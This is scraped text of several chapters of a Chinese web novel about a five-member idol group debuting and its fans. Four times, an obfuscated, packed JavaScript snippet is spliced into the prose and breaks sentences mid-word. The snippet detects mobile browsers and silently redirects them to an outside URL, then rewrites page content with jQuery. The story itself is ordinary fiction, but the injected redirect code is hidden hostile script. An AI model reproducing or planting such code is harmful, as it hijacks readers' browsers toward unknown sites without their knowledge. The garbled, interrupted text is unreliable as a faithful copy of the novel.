;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701458|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐来负责，她拒绝了。” “嗯？为什么啊？”江翰飞穿着宽松的短袖短裤，纯纯吃瓜群众，还没反应过来唐君君做了职务调动，对唐君君全部印象来自合宿练习时期以及今天的雷厉风行。 “傻孩子，当然是因为她自己不想去负责那个团啊。”于立果慢悠悠接着说，“唔，那个团最后的人选配置她好像觉得不太行。” “哦？那这是反向证明了，咱们这几个组得还挺不错的？”禹安若有所思。 吴星雨换了身黑色的睡衣，他是最后一个洗完澡的，现在正擦着头发，“我看是，反正我觉得大家都挺厉害的。” “队长就是队长啊。那我们不得好好干啊。”于立果从沙发上撑起身，伸出手悬在茶几上方。“来来来，咱走一个呗。” “来！”其余四人一下明白了他的意思，一个接一个把手叠上去。 “1 2 3，加油加油加油！”五个人的手在客厅顶灯的照射下，在下面的茶几桌面上映出一道重重叠叠的影子。 ······ 唯有八卦和饭桌能快速拉进一群人的关系，华国传统源远流长。 前一天晚上小小的八卦完以后顶头上司的八卦，第二天再一起去换衣服，拍公式照，互相之间的生涩尴尬感顿减。 “这表现力真不错啊。”公司的摄影师赞叹一句。 “互动也很自然。”旁边的摄影助理眼睛直勾勾的看着正打闹着让摄影师抓拍的几人，谁不喜欢欣赏帅哥呢？！帅的酷的漂亮的活力的，这就是最好的眼睛护理。摄影助理这个岗位就是颜狗天选！ 如果每天看到的都是这样的帅哥美人，那我愿意加班呜呜呜。 唐君君站在摄像机后方，一边看着导入到电脑里的成品，一边默不作声的观察着他们。 往后的几个月里，他们没能再休息过一天。 时间太紧了，从定下来出道组人选后的第三天，团体的概念策划终于也定下来了。 随之而来的就是出道专。出道专是mini专，共收录6首歌，没有先行曲和后续曲的配置，重心都放在了主打曲和相关制作上。 现在每天练习室，片场，宿舍三点循环。 练习出道专主打曲的唱跳，熟悉走位和机位；配合着各种妆造和风格拍摄MV，海报，小卡；学习团队出场走位和应对媒体的话术。 偶尔被逮去开会，了解自己的专辑制作进度，以及认人。 没错，还有一项很重要的工作就是拿着照片和视频认识市场上各大知名男团，女团，歌手，主持和一些知名的艺术家。 唐君君三令五申，不能偶遇了不打招呼转身就走。 后来于立果私下悄悄跟他们说，这是因为有前车之鉴。现在已经快扑到无人问津的公司前男团Cilier就有一个成员，因为不认识人气男团的前辈，在两人遇到之后无视了人家前辈给他打招呼的动作，直接面无表情的走了。恰好被一位站姐拍到视频发到了网上。 别说Cilier那个成员的社交账号，那个人气男团的前辈粉丝都快把Cilier整个组合的社交账号给冲没了。 于是唐君君充分吸收经验教训，让他们还没出道的时候就把他们把市场上的前辈们都先熟悉了。 8月，乐狮营销部潜伏在各个平台的工作人员开始预热他们的新男团。 23.第 23 章 国内最大论坛的某组： “诶诶，你们听说了吗？乐狮的新男团。” “又要推新团？是嫌上一个Cilier扑的不够惨吗？” “老团不好好运营，又推新团，真以为都买账啊？” “楼上点了，乐狮全靠Hitting吃老本，但是他们在公司的待遇是最差的。” “我看那个新团说是10月出道，这摆明了是冲着新人奖去的吧？” “推新团关我们打团什么事儿，楼上少拉我们团下水蹭热度。” “新团几人团啊？” “我表哥的堂妹的朋友的姐姐在乐狮，内部消息是5人团。” “这个时候出5人团，这是要跟K家和安阳娱乐打擂台啊？” “打起来打起来，男团就是卷生卷死才好看。” “卧槽，还真是要打擂台！” “刚刚官宣了，10月12号出道。” “好好好，今年10月的热闹我看定了。” ······ 乐狮前年末推出的新团Cilier折戟沉沙，痛失男团新人市场将近两年，这次新团也是卯足了劲儿要在今年的男团市场里咬下一块肉来。 从8月在各个大平台预热新男团开始，巨头娱乐公司K家和安阳娱乐也随之官宣要出新男团。圈内的营销号每天靠着他们几家公司的通稿和拉踩都赚足了流量。 “K家的新团IUE 10.8出道，安阳娱乐10.11出道，还没官宣组合名。同期还有这两个大热男团回归。”唐君君按着遥控器，跟他们细说着当前的情况，“跟你们提这些，不是为了给你们加压，当然你们也不能完全没压力。最重要的是让你们清楚，现在这个阶段你们的对手是谁。” “知己知彼后，要做的就是全力优化自己。” 唐君君说完给了小助理之一的欣怡一个眼神，欣怡领会，开始给他们同步近期的安排：“明天开始公司官方账号和新建的团队账号会陆续发布你们的照片官宣，一周后发布出道专的概念照和专辑配置同时开启预售，10.3号这周发布MV预告和专辑样品，10.12号晚上六点在发布非我音乐APP和Music Box上线音源和MV。10.13号在游鱼台的Idol Charming Show进行首秀打歌。” 也就是从现在开始的半个月，他们会以团队的形式，逐渐曝光在大众眼中，直到10.12正式出道。 “别忘了你们的概念，SterLa-。” SterLa-，由德语单词里的星星Sterne和灯笼Laterne组合而成。都是会在夜晚发光的词。这和他们的概念有关，在灯笼Laterne里聚集了星星Sterne，灯笼代表着团队，星星代表着他们每个人，他们会在每个夜晚努力散发自己的光芒，在茫茫的黑夜中亮上一盏灯。 第二天下午两点，团队官方账号发布了吴星雨的个人预告短视频和概念照，穿着黑色的高领风衣，带着指虎，脸上有一道血痕，行走在被破坏的城市中。 “我勒个废墟文学啊？这个团是想搞个什么概念啊？” “看起来是打过架？” “不是，你们怎么都在说概念啊，是我老公的腹肌不够明显吗？prprpr” “主舞当队长诶，舞台的整齐度看来不用担心了。” 后面几天依次官宣了于立果，禹安，葛文山。 于立果外貌和定位对众人的吸引力相对较弱，反响在几人中差了点。相对的，禹安刚官宣不久，超话就飞速的建立了，虽然人还不多，但是里面禹安那几张带着朦胧感的概念照和预告视频截图已经刷屏了。 “我老婆啊，这一看就是我失散多年的老婆啊！” “崽啊，你长得这么漂亮让麻麻怎么活啊~” “天生爱上门面的命是这样的，天生颜狗我骄傲！” 葛文山很意外的因为带混血的外貌和某位动漫人物撞设定了，不少二次元的角色粉来围观，带起了公司也没料到的热度。营销组人员当即把那位动漫人物的设定和相关信息拉了一圈，见没什么问题，暗戳戳的又推波助澜一把，让葛文山超话的粉丝后来居上，成为四人里超话粉丝最多的人。 已经发布的几人的热度加上公司暗地里做的宣发挑起来的热度，不少人都关注了新组合的社交账号，等待着最后一个人的到来。 主舞，主Rap，门面和副唱都出来了，剩下的那个一定是主唱。主唱放在最后官宣的操作可不多，期间四人的粉丝和路人都在议论这个官宣顺序，最后一个会不会是公司的主捧。公说公有理婆说婆有理，最后还是不了了之，等待江翰飞露面的人又多了一些。 终于，下午两点江翰飞的预告在官号发出。同时五位成员发布完毕，官号正式更名为团队名：SterLa-。 “首发的预告视频和都概念照居然用侧颜？看完了都看不到一个正脸，虽然高领毛衣很帅。但谁再bb一句这是主捧试试呢？” “概念照直接是预告视频截图了？这么敷衍我们主唱搞什么？” “宣发失误了？” “没有，团队的名字都出来了。看侧脸应该是帅的，只是比不上禹安宝贝和山子哥。” “SterLa是啥意思？好难记。另外楼上的拉踩来的这么快？” “是SterLa-，还有一个小横杠，这名确实奇怪，到时候等等他们的出道秀解释吧。” 江翰飞的官宣预告片和概念照都没有显露出自己的正面，高领毛衣紧紧包裹住的上半身，脖子上挂着一副头戴式耳机，和吴星雨好像走过的是同一个地方。 被吊了胃口的众人见最后一个人只有侧脸，还只有一套妆造，之前的主捧论马上破灭，还有人传这是被公司拉来垫底的。喜欢买股的红人粉们纷纷弃股，转而投向现在人气最高的禹安。也有人猜这种只放侧脸的方式只是为了继续勾引他们的胃口，同时给这个还没出道的主场虐点新粉丝入场。 也有不少粉丝因为没有见到江翰飞正脸反而来了兴趣，在超话里猜测着他的外貌和公司的真实意图，最后江翰飞的超话人气面前只排在了团内倒数第二，就比于立果稍好一些。 网上网民们的热情和关注度已经被炒起来了，官号的粉丝每天都在上涨。而几名成员因为越来越临近出道日，兴奋和紧张同时包裹着他们，让他们神经都绷紧了。 江翰飞比他们更紧张，他可是有任务在身的。 出道任务时限是一年，但是4月确认为出道组后，系统突然跳出来说任务完成度80%，然后给他延期了半年，出道任务的总时长变成了一年半。问它缘由说是根据系统最新计算，最快平均出道的练习时长是一年半。官宣照发布之后系统也不认可任务完成，江翰飞猜测得他们正式发售专辑作品才会认可他的出道任务完成。 幸好它当时给延后了半年。 本来预计8月会推出的他们因为公司的改动，调整到了10月出道，就为了10月的混战。 混战代表着混乱和时机。新老男女团交杂回归，偶像和歌手也齐飞，10月的回归大战除了各方粉丝，还吸引了大量准备看热闹的路人，时间没到，流量已经先起来了。 在这场混战里，他们团要么一炮而红，要么扑的无人在意。 10月12日，下午5点55分。 他们集中坐在练习室的一角，面前摆上了一台ipad。在ipad的后面是两台摄影机和几个工作人员。正准备拍他们对自己出道主打曲MV的Reaction。 准备出道的时间里他们拍了不少素材。江翰飞觉得，把他在之前拍过的所有照片加起来也不如这段时间拍的多。 好在这个公司的练习生时期就一直练着形体和演技等，让他面对黑洞洞的摄像机虽然还会紧张，但不至于说不出话来。 为了这个Reaction，负责他们妆造的老师从今天下午开始就给他们做妆造，竭力让他们体现出自然，随意，凌乱但是帅的造型，直到前一分钟，他们还在整理头发和嘴上的口红。 “快快快，准备开始了。” 摄像机的红色指示灯闪烁，显示已经开始录像了。 “咔——” 打板。 “1 2 3，大家好，我们是SterLa-！”吴星雨作为队长负责一起喊口号，喊完后一副很开心的样子跟成员们说道，“朋友们，今天我们需要做一个Reaction。” “噢噢，是什么呢？”于立果从不让话掉地上，装作不知道的样子很捧场的问。 一旁染了银发的禹安也装作很感兴趣的跟着望过去。 但吴星雨本来就是装作很开心，实际心里紧张的要死。见他们望过来，一晃神，随机选中了禹安旁边的江翰飞，“阿飞你知道吗？” “啊？嗯，我，我知道？”江翰飞第一次做Reaction，猝不及防的被点名，一时间也不知道自己该说知道还是不知道。 “那你来说是什么。” “是我们要做Reaction。”江翰飞脑子一懵，说完才发现自己说了句废话，赶紧又补充了一句，“是我们新曲的Reaction。” 说完空气沉默了一秒，于立果救场，“原来是我们出道曲《钢铁丛林》MV的Reaction啊，那我们现在就开始吧！” 坐在中间的禹安用ipad打开了非我音乐，几个脑袋凑过来一起看着。 时间已经跳到了18：00，禹安再一刷新，SterLa-的主页就显示出了唯一的专辑《钢铁丛林》。 同名主打曲，MV的拍摄已经过了好久，他们自己都记不清当时是什么情况了。 点击播放，团名先显示在画面正中间又渐渐隐去。 江翰飞看着消失的团名，莫名愣了一下。身边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715330|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葛文山不动声色的碰了碰江翰飞让他回神。 想起面前还有摄像机在录制，江翰飞赶紧低下头接着看MV。 前奏带着很特色的‘咔哧咔哧’的声音采样，配合鼓点，先抓住了耳朵让人想要接着往下听。画面加上通过混剪闪回，迅速地切过几双鞋和具有代表性的空间画面。接着画面转暗，好像是下班回家了。随着灯的熄灭，配合着于立果的沙沙嗓音画面中出现了吴星雨。 吴星雨红色的头发配着黑色风衣，里面是一件紧身的黑色背心，脚蹬一双皮靴，出现在路灯下。 “队长，你腹肌好帅！”禹安眼尖的看到了黑色紧身背心下的腹肌。 于立果不客气的揭穿，“为了这个镜头，队长天天晚上睡觉前都还要在床上做上三十个俯卧撑再睡。” “确实。”葛文山也想起每天晚上的俯卧撑打卡。 “片场拍摄前还在做呢，说是要让腹肌更加显眼一点。”江翰飞老实的跟着揭短。 “哎哎哎，别说了，给我留点面子啊。”吴星雨赶紧制止，老底要被揭穿了。 接着画面里又走过一个人，是戴着头戴式耳机的江翰飞，穿着黑色高领毛衣和灰色的毛衣外套配牛仔裤，路过吴星雨的时候专门看了他一眼。 这一眼从侧写的远景迅速拉进给了这双眼睛一个特写，深黑色的眼瞳里只有路灯的亮光映在其中，直直的凝视着穿黑色风衣的男人，似乎是在警惕又似乎是在审视，唯一肯定的是没有任何积极的情绪，望过来的时候只让人想避开他的目光。然而还来不及动作，长长的眼睫又轻轻垂下，再抬起的时候已经转而向前望去，不再看了，反而是被注视的那个人流露出怔愣的神色。 “W····我的天，阿飞你这厉害了啊。”于立果是真的惊讶，拍摄的时候有分组，当时并没有看到江翰飞拍这个镜头，瞬间被惊艳到，刚刚差点把卧槽顺嘴秃噜出来。 其他几个队友也震惊，江翰飞和葛文山是队里公认的外露情绪很少的两位，没想到江翰飞的眼神表达能这么惊艳！ 江翰飞自己也没想到当时导演让他反复要他拍的镜头出来会是这个效果，想不好意思地挠挠头，临了又想起录制前经纪人说尽量不要做太出格的动作，抬了一下手又克制的放下了。 被看的有点不好意思了，手指蜷缩了一下，自己去点了继续播放键，“我们接着看吧。” 队友们知道江翰飞这是有点不好意思了，平时话很少的江翰飞难得这个样子，笑笑就放过了他继续看。 画面切到了房间内，一阵朦胧又眩晕的晃动出现后，穿着白色衬衣银发禹安赫然出现在床边，望着床上的人勾出一抹意味不明的笑。 “啊，禹安真的，你说你这脸咋张的？怎么就能这么帅呢？”吴星雨感慨道。 江翰飞也赞同的点头，当时他在现场看的都觉得太美了，是一种不分性别，符合大众和艺术共同对美的定义。 “羡慕吗？我妈妈给的。”禹安眼睛弯弯。 吴星雨一噎，废话，我还不知道这是妈妈给的吗！ 画面再一转，窗边忽然出现了一道黑影，慢慢的从窗边爬上来。镜头又擦过黑色的影子望向了对面的楼房，房间里也坐着一个人，扎着一个小揪，耳手里拿着一个面板，上面流淌着各种信息流，嘴巴一张一合似乎在说什么。 “于哥，这是你第一次扎小揪吧。”江翰飞第一个开口说道，于立果的头发原本没这么长的，为了拍MV才特意留长了，现在脑后也扎着一个小揪。 “突然想起为了说服于哥扎这个小揪，造型师，经纪人和导演轮番上阵了也是。” “主要以前从没尝试过，现在已经习惯了。”于立果摸摸脑后的小揪 调笑了几句几人都放松下来，说话间也没了刚开始的生涩感。 镜头上移，对上了站在楼顶的一道身影，圆月在他身后作为背景，勾勒出修长的身形，外面罩着一件长皮衣，腰间别着枪，正注视着窗户上的黑影。 “文山太适合这种造型了，这个镜头一遍就过了，让我们当天多了一个小时的睡眠时间。”吴星雨叹道，“毕竟是192的大长腿啊。” “羡慕了？”禹安调侃道。 “我不羡慕，可有人羡慕啊。”刚刚被禹安噎住的“仇”立马报了。 禹安哼了一声，转过头去了。谁让他是五个人里最矮的，他178cm，比小他一岁的江翰飞还矮几厘米。 这时窗户上的黑影突然有了异动，黑影面积变大，瞬间几人就有了动作，用不同的方式和它缠斗起来。 伴随着副歌的到来，战斗白热化，在副歌的最后一个音消失的时候黑影消失，从黑影的身体里爆出彩带，禹安捡起其中一条，画面又瞬间切换到了另一个场景。 “咱这个MV还挺·····特别的啊？”吴星雨喃喃道，他也算是了解市面上各大男团了，他们这种跟拍武打电影的MV还真没见过。 24.第 24 章 早上九点，社畜们开始了新一天的辛勤劳作，走完一系列早会流程，柯苗打开微信群聊开始偷偷摸鱼。 ‘爱吃炒豆’这个群是他们几个追星好几年的小姐姐一起建的，专门用来吐槽各个爱豆，不分中外，无论爆糊，统一扫射，每天的群聊消息都能聊到999+，是她每天快乐摸鱼老家。 “啊啊啊啊你们快看这个新团SterLa-，我的新老公们找到了啊！” “朱朱你冷静点，那天你看IUE的时候也是这么说的。”群里的gogo回复道。 “这次是真的T T，真的好帅呜呜呜。” “哈哈，谁谁谁，谁帅？让我看看！” “Woc，这是MV？这制作水平牛啊。” “确实，这画面都可以拿来当电影了。你看这构图，截图都好好看。” “歌还挺好听的耶。MV居然全是剧情？ “没太看懂呢，是说晚上睡觉了？还是死了啊？” “是梦里吧，旁边有个小陀螺一直在转，这个是致敬盗梦空间吧？” “我天，这个银色头发的跟公式照一样帅啊，我爱了。” “黑色高领毛衣好盐啊，好感觉是个酷boy。” “我都看完了，不是，这个团是纯音源团吗？我一个Dance Break都没看到。” “你这么一说，还真是，一个Dance Break都没有。” “噫，这个人是混血吗？唱Rap好酷哦。” ······ 柯苗刚刚点开就刷出来一堆新消息，看完历史消息记录，是群里最花心的一个月能换30个墙头的朱朱在哭嚎看到的新老公。 10月的大混战她早就期待上了，只是这几天工作太忙，没来得及看。 “有没有链接呀，我也想去围观。”柯苗在群里发了个消息，她懒得再往上翻。 “在这儿，喵喵快去看！”群内的朱朱迅速响应甩来一条链接。 柯苗点开链接，出现画面的同时，瞬间被特别的采样声抓住，好奇的往下看。 看完一遍，点重播，再看一遍。 看完第四遍，柯苗终于过足瘾，啊啊啊啊这个男团的歌和人怎么就都能长在她的点上！！ 入坑，必须入坑！ 柯苗火速关注上跃音App的账号，又打开妙博，找到组合的官方账号关注上，加入几人的粉丝超话和团队超话，满足地刷着帖子。 “喵喵，你是不是超爱！”朱朱突然给她发来私聊，“我当时一看就知道，这肯定是你的菜！” “是的呜呜呜，超爱，我看了四遍了，还想循环。”柯苗切回聊天软件回消息，“感恩朱朱你的安利，我大口吃，真的好帅。我最推葛文山，太帅了，想在哥哥的鼻梁上滑滑梯！！” “他们今天下午出道首秀，你想看吗？” 柯苗手停在对话框好一会儿没打字，朱朱是富婆，群里的人都知道，对方随时随地都在追星，看演唱会，去签售，去见面会的路上。但她只是个普通社畜啊，虽然录制的地方离她不远，但是现在收录制票还能收到吗？ 愣神期间，朱朱又发来一句话，“我有今天Idol Charming Show录制的票，两张哦。” 柯苗早和朱朱几人线下见过，又不是第一次一起追星，说到这个份儿上，柯苗还不明白她就是白痴了，“去！” 这边的朱朱满意的笑了，追星当然是得跟小姐妹们一起才有意思，没有人一起发疯的追星太无趣了！ 跟柯苗约好明天的时间，朱朱从床上爬起来，走到自己的追星专属房间。 里面靠墙摆放着3个整面墙的大书架，书架上都是各个团体的专辑，应援棒，周边，签名专的数量也不少。如果有人进来能看到这间房间，估计会惊讶得张大嘴，这可比一些公司的陈列展示架还齐全。 朱朱的手划过一张张签名专，这可都是她一次次冲签售名额带回来的。 不过她现在对这些人已经没兴趣了。 作为典型的射手座，她喜欢新鲜刺激的东西，上头快但下头也快。上头的时候为了冲签售名额可以花出比预期线一两倍的钱，下头的时候可能就是一瞬间就不喜欢了，原地Say Goodbye。留下这些只是为了纪念一下自己的追星之旅而已。 除了这些专辑，手机里的社交账号更是不得了，喜欢的时候为了看他们的新鲜照片，她会直接跟行程自己拍或者买代拍。觉得喜欢的就会发到社交账号上一起欣赏，加上专辑也不少买，因此她的社交账号已经有50多万粉丝。不少前担粉，男色粉以及猜测她下一个目标的看热闹的粉丝。 想到MV里的惊鸿一瞥，朱朱忍不住开始期待今天的出道首秀。 而准备出道首秀的SterLa-几人在13号的凌晨就被拉起来做妆造，前一天晚上虽然录完Reaction就被放回去睡觉，但出道的兴奋感让他们睡不着，一直到快半夜了才入睡，算算也就勉强睡了3个小时。 造型室里开着冷气，各式各样的衣服挂了两台，沙发堆着各种包和化妆镜的小桌子上也放满了各类化妆品，江翰飞闭着眼，让化妆师给他画眼线。 “翰飞的眼睛弧度真好看，睫毛也长。姐姐我看MV的时候都被你的眼神惊住了呢。”化妆师姐姐是从确定他们为出道组就跟着的熟人，见他们有点紧张的样子，忍不住跟说点玩笑话放松。 江翰飞听到后眼睛不自然的快速眨动几下，眼线笔尖被带的一歪，“哎呀，翰飞你别动呀，眼线都歪了。” “不好意思，没忍住······”这是本能反应，真的很难忍住啊。 “哈哈哈哈，我没有怪你的意思，翰飞这是害羞了吧。”化妆师重新给他画眼线，“以后等你们习惯了粉丝的彩虹屁，就不会对我这一两句夸奖感到害羞了。” 江翰飞顺着化妆师的思路往下想，他恶补了很多娱乐圈知识，也见过其他男团前辈的粉丝的夸夸。带入一下，如果有粉丝说他的腰不是腰，是杀人的弯刀······ 救命—— 江翰飞忍不住羞耻的一哆嗦，社死和尴尬的感觉比害羞更多。 幸好这时化妆师已经画完了眼线，不然他还得再重画一次。 “来，咖啡和三明治，放这儿了，大家自己拿。”唐君君带着小助理欣怡提着几大袋子咖啡进来，正好大家完活儿，起身过来领咖啡，江翰飞几人老实的拿了消肿的冰美式，其余人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721327|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都喝的拿铁或者可可。 “咦？杯子上还有字？”吴星雨见咖啡杯上还贴着可爱的贴纸，仔细一看是句话，“祝SterLa-出道首舞台圆满成功！” “哇，还真是，欣怡你好有心。”其他工作人员也发现了。 “不是我，是君姐早就定制好的。”欣怡摆摆手，别说贴纸了，咖啡和三明治还都是君姐自掏腰包买的呢！ 唐君君走过来，举起一杯咖啡，“祝SterLa-出道首舞台顺顺利利，希望出道专结束后，我们能有机会喝庆功酒！” “祝SterLa-出道首舞台顺顺利利！”众人也跟着举起了咖啡。 咖啡代酒，爆红我有！ 外面天光微亮，众人困意被咖啡驱散，出发往出道打歌的录制地点去。 SterLa-的出道首舞台在Idol Charming Show（简称ICS/偶像秀），一档由游鱼电视台主办的老牌打歌节目，每周三的五点半到七点的晚饭黄金时段在网络和TV上同步播出。计分方式计算音源60%，销量30%，实时短信投票10%，各版块分数相加计为总分。 音源得分会根据这首歌在国内最权威的跃音音乐平台的一周内播放得分计算，销量按照销售额榜单计算，实时短信投票是在节目播放时间内给节目组固定号码发送短信进行投票。 因为ICS的计算方式偏重音源，因此这个打歌节目的普及度和含金量很高，不少家里也会看这个节目或者放着当背景音乐，就当是听歌了。 每次播放时间90分钟，加上串场和颁奖时间，留给各大团体的打歌时间并不很多，大概只有12首歌的舞台能播放出来。不少没背景的小公司团体别说拿奖了，连参与录制的资格都拿不到。 乐狮作为娱乐圈内中大型公司，录制资格还是不用担心的。也因此，唐君君直接选了人气最高的ICS作为他们的出道首舞台秀场。 等他们完成所有妆造到达录制大楼外时已经是早上七点多了。 入口处已经围了一圈粉丝。 当然不是他们这个出道还不到一天的新人团的。除了他们，今天还有好几个男团来进行回归录制，和他们同期出道的K家新团IUE和老对手安阳娱乐新团KtM也会来。 见外面围着粉丝，本来只是有点小紧张的众人，心脏突然就突突狂跳起来。 他们都是练习生时期经历了多次月末考核的人，按理来说在别人面前表演，展现自己的魅力应该是驾轻就熟，但见到门口围着的粉丝，一种紧张感从脚底升起，一路爬过身体，捏紧了他们的心脏，又砰砰敲打他们的耳膜，让他们的脑子发胀。 江翰飞的位置正靠窗，手抚着心脏，它正有着强有力又快节奏的跳动。他慢慢的深呼吸平缓自己的心跳，努力代入平时练习的松弛心态。深呼吸好几次，心跳还是很快，他无奈放弃，转过头来，忍了又忍，还是忍不住揪紧了自己的裤子。 “诶诶诶，翰飞，你别把裤子给揪皱了！”前排的造型师本来在‘欣赏’这几个新丁第一次走上班路的反应，结果就见着江翰飞把裤子揪的死紧，这裤子的面料可不能这么造啊。 这下好了，昨天熨好的裤子待会儿还得重新熨！ 25.第 25 章 车停稳后，江翰飞几人依次下了车，一个个的站在车前不动。第一次来没经验，吴星雨也不知道是不是直接进去就好了，还是要跟这些拿着别的男团成员灯牌的粉丝打招呼？ 他们算是到的早的团，还在等待正主来的粉丝们百无聊赖间也看了过来，扫过他们一圈，窃窃私语。 “这是哪个团啊？”两个粉丝小声交流着，手上拿着K家新团IUE的应援物。 “不知道，没见过，应该是个新团吧？” 打歌录制新团先到等着排空位，是艺人和粉丝都心知肚明的潜规则。人气老团可能十点来十点十分就能开始录制，新团就得等时间空缺，可能早上七点到的，下午两点才有时间空缺出来让他们录制。 “这个时间来的应该都是新团。” “诶诶，你看银色头发那个！”其中一个女孩看见了谁眼睛一亮，用手肘使劲儿拐着旁边的女生。 “我去，这颜值，妥妥的门面吧！人的皮肤可以白到反光吗？” “他旁边那个也好帅啊，禁欲高领诶！” “进去吧，多跟旁边的粉丝们笑笑。”唐君君在后面低声提示。 几人听见唐君君声音稍稍镇定下来。吴星雨作为队长迈步走在最前面，路过这群粉丝的时候几人还是忍不住紧张，对他们微笑的时候都带着一抹僵硬。 “帅哥，你们是哪个团的啊？”走到中间的位置，突然听见有人这么喊了一句。 吴星雨紧张的转头看了一眼站在远处的唐君君，深吸口气，拉住了队友们，“我们来喊个团队口号。” 几人迅速站好，“1 2 3，大家好，我们是SterLa-！” 声音中气十足，把紧张感都放进声带里吼出来了。 “噢噢~帅！！”围在门边的粉丝们突然笑起来。 五人莫名其妙摸不着头脑，突然感觉被调笑，赶紧低头先进去。 留在外面的粉丝们还在笑。 “来过这么多次，终于看到了，这就是传说中的新人美吗哈哈哈哈。” “站在中间就直接喊口号了哈哈哈哈哈。” “天呐，真的好呆萌，居然在这儿打招呼。团名叫啥？史黛拉？” “哈哈哈他们好像是乐狮的那个新团，昨天刷到他们的官号了。” “我去搜一搜。” 好些粉丝都被可爱到了，纷纷低头拿出手机搜索这个新男团的资料。 追星嘛，收个墙头很正常的啦。 当然也有不满的粉丝，有个安阳娱乐新团KtM的粉丝就很不爽，觉得他们在哗众取宠，故意吸新团的粉，当即把刚刚拍下来的视频开贴发到了论坛。 帖子：<新人男团就可以这么吸别家粉吗？（附视频）> 早上七八点，正是打工人挤地铁公交的时间，帖子没发多久，下面就盖起几十层楼。 等唐君君他们的人发现这个帖子的时候，帖子已经上百楼了，里面有无所谓觉得只是打个招呼的，也有觉得行为不合适的，还有趁机安利其他团体的。 营销部门的人特别开心，这热度纯白给啊。 本来就是模棱两可，对自己这方其实更有利。帖子里鱼龙混杂，各说各的理还都锤不死。 还有比这更好的营销素材吗？ 当即联系了各大营销号，火速搬运这个帖子和视频，用各个角度发文，把热度给燥起来。 这边进门的几个人没有粉丝盯着了，终于冷静下来。 吴星雨这才反应过来刚刚直接站在路中间就打招呼有点不太合适，又没有自己的粉丝，而且谁家正常跟粉丝打招呼也不会站在那个地方。 于立果看他隐隐懊恼，“我们都没反应过来呢，要不是你，就要尬在那儿了。” 江翰飞也见吴星雨似乎尴尬又懊恼的样子，轻轻拍拍他的肩膀，“没事的队长。我们先去找休息室吧，到了还能再复习一下舞蹈和走位。” 听到于立果和江翰飞安慰，吴星雨强迫自己把注意力放到休息室和后面的排练上，反复跟自己暗示：今天是出道首秀，出道的事情最重要，其余的都是浮云。 结果欣怡带着他们找了一圈，都没找到他们的休息室。 拉住一个匆匆的工作人员问，对方也不知道，只说没见过贴着他们名字的休息室。 先前唐君君给欣怡发了消息让带着他们先去休息室，说她去找台里的导演和监制们聊聊。现在给她发了消息没有回复，欣怡先去找她了，执行经纪人又在公司跟营销部开会。找不到休息室只能等在原地，几位妆造师就把箱子先堆到走廊角落，避免挡路。 太阳升起，十月的秋老虎可怕得很，阳光从走廊的窗户透进来，照在身上无端让人升起一股烦躁。 等了半个多小时，唐君君那边回了电话，没说其他，只说今天辛苦大家，让他们在走廊上再等等。欣怡跑去楼下买了冰水，喝过冰水，大家勉强把心里的燥热压下去。 又等了快一个小时，来往匆忙的工作人员已经开始让排位的团准备候场进行录制了，他们还在走廊傻等着。 江翰飞拉拉吴星雨的衣服，“队长，我们不知道什么时候能上，但现在等着也是等着，不如我们找个地方先复习一下舞蹈和走位？” 为了增加说服力，又补了一句，“反正这是中央空调，在哪儿都一样的凉快。” 其实他是一个擅长等待的人。在过去的那些年里，他有许多需要等待的事情，已经养出了耐心。只是看在场其余的几位队友就没有不皱眉的，连于立果这个爱笑的都冷着脸把弄着手机。 他想，与其沉浸在现在的烦躁里，不如找点能做的事。就算转移下注意力也好。 吴星雨听着不是滋味，这个开场和他预想的出道当天的开场落差太大。走廊来来往往的工作人员隐晦的打量谁会看不到吗？何况到现在，到达录制大楼的团越来越多，隐隐约约传来门外粉丝们一阵一阵的尖叫声。他们跟猴子一样站在这儿供人观赏取笑。这让他浑身长满了刺一样的不爽利。 “练习是没问题，但是没有休息室，待会儿补妆可能就麻烦了。” “姐，待会儿实在不行，咱在这儿补妆的话能补吗？”于立果不知道什么时候也走了过来，问向负责做妆造的老师。 造型师们已经把箱子拿下来当凳子坐着了。 “可以是可以，就是来来往往人太多······”未竟之意不言而喻。 “没事儿，我们去那儿吧，空间大些。”江翰飞听造型师说没问题，指着走廊尽头的另一个拐角处对吴星雨说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 